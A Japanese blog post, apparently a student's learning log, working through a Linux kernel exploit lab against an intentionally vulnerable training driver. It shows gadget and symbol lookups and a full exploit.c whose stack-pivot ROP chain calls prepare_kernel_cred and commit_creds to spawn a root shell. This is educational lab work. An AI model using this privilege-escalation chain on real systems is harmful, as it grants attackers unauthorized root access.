はじめに
前回までで環境構築がやっと終わったので、メインのカーネルエクスプロイトにはいります。
2 カーネルエクスプロイト!
2.1 方針
エクスプロイトの方針はるくすさんのブログに書いてある通りです。
任意のアドレスをコールしてくれるモジュールを起動した状態で、それに対して攻撃します。
「Stack Pivotで、カーネルのスタックを、ユーザ空間に確保した領域とすげ替える。そこでカーネルROPしてプロセスの権限を昇格させる。シェルを起動。」って感じです。たぶん
2.2 必要なアドレスの準備
Stack PivitやらカーネルROPをするために必要なGadgetのアドレスなどもろもろをまず調べます。
$ make $ sudo insmod ropm.ko #モジュールのインストール $ dmesg | grep addr | grep ops [ 113.396732] addr(ops) = ffffffffa02da350 $ readelf -s ./vmlinux | grep prepare_kernel_cred 80354: 00000000bbd8387f 0 NOTYPE GLOBAL DEFAULT ABS __crc_prepare_kernel_cred 83581: ffffffff8108dfb0 282 FUNC GLOBAL DEFAULT 1 prepare_kernel_cred $ readelf -s ./vmlinux | grep prepare_kernel_cred 80354: 00000000bbd8387f 0 NOTYPE GLOBAL DEFAULT ABS __crc_prepare_kernel_cred 83581: ffffffff8108dfb0 282 FUNC GLOBAL DEFAULT 1 prepare_kernel_cred teppay@teppay-VirtualBox:~/D23/kernel_exploit_world-master/chap2$ readelf -s ./vmlinux | grep commit_creds 8043: ffffffff81ad99e0 16 OBJECT LOCAL DEFAULT 8 __ksymtab_commit_creds 8044: ffffffff81b02779 13 OBJECT LOCAL DEFAULT 12 __kstrtab_commit_creds 8045: ffffffff81af3c50 8 OBJECT LOCAL DEFAULT 10 __kcrctab_commit_creds 80840: 0000000079f29ccd 0 NOTYPE GLOBAL DEFAULT ABS __crc_commit_creds 83283: ffffffff8108dce0 542 FUNC GLOBAL DEFAULT 1 commit_creds $ objdump -j .text -d ./vmlinux | grep iretq | head -1 ffffffff8104df96: 48 cf iretq
さらにカーネルの中のROPGadgetを検索するために、るくすさんのGithubのfind_offset.pyを使うんですが、ここでちょっとハマりました。
るくすさんのブログでは、rp++の出力を、
$ ./rp-lin-x64 --file=/path/to/linux-3.12/vmlinux --rop=3 --unique > gadgets.txt
というコマンドでテキストファイルにリダイレクトしていますが、自分の環境では、rp++の出力に色がついており、リダイレクトするとその色情報が付加されて余計なものがくっついている文字列がgadgets.txtにはいっていました。
なので、リダイレクトの前にsedコマンドを噛ませて以下のコマンドでrp++の結果を出力しました。
$ rp-lin-x64 --file=./vmlinux --rop=3 --unique | sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?m//g" > gadgets.txt
さらに、find_offset.pyを実行するとsplitがうまく行っていない旨のエラーが出るので、gadgets.txtの冒頭部分のいらないところを削除したらうまく動きました。
↓この部分↓
↑↑
$ ./find_offset.py ffffffffa02da350 gadgets.txt | grep -1 "xchg eax, esp ; ret " ... offset = 18446744073644267284 gadget = or dword [rdi], ecx ; xchg eax, esp ; ret ; (1 found) stack addr = 810c5bf0 ...
余計なのが前についていますが、とりあえずこのgadgetで行ってみようと思います。
のこりの細々としたGadgetもrp++で見つけて、やっと次はROPを組んでいきます。
2.3 ROP
ここまで来たら、exploit.cを自分の環境にあわせて書き換えてコンパイル・実行するだけです。 exploit.c
int main(int argc, char *argv[]) { int fd; struct drv_req req; void *mapped, *temp_stack; unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; if (argc != 3) { usage(argv[0]); return -1; } //offset = 18446744073644267284 req.offset = strtoul(argv[1], NULL, 10); base_addr = strtoul(argv[2], NULL, 16); prepare_kernel_cred = 0xffffffff8108dfb0; commit_creds = 0xffffffff8108dce0; printf("array base address = 0x%lx\n", base_addr); stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; fprintf(stdout, "stack address = 0x%lx\n", stack_addr); mmap_addr = stack_addr & 0xffff0000; assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); save_state(); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff8105182dUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= prepare_kernel_cred; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff81047c82UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= commit_creds + 6; // commit_creds() + 2 instructions *fake_stack ++= 0xffffffff81033380UL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff8104d764UL; // swapgs ; pop rbp ; ret *fake_stack ++= 0xdeadbeefUL; // dummy placeholder *fake_stack ++= 0xffffffff8104df96UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */ //map = mmap((void *)..., ..., 3, 0x32, 0, 0); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req); return 0; }
はいこんな感じでできました。
画像をよく見てもらうとわかりますが、1回目の実行では/dev/vulndrvをopenする際にPermissionErrorで弾かれています。
$ sudo chmod 766 /dev/vulndrv
で一般ピーポーがドライバを読む権限を付与したうえで実行してみると、見事シェルが取れました。
"#" がrootの証です!!
まとめ
- 知らないことが多すぎたので、今回のことで圧倒的成長できたのはまちがいない。
- 概ね理解はできたが、細かいことがあやふやなまま。
- 頑張ります。
- とりあえずテスト勉強。。。
やりたくない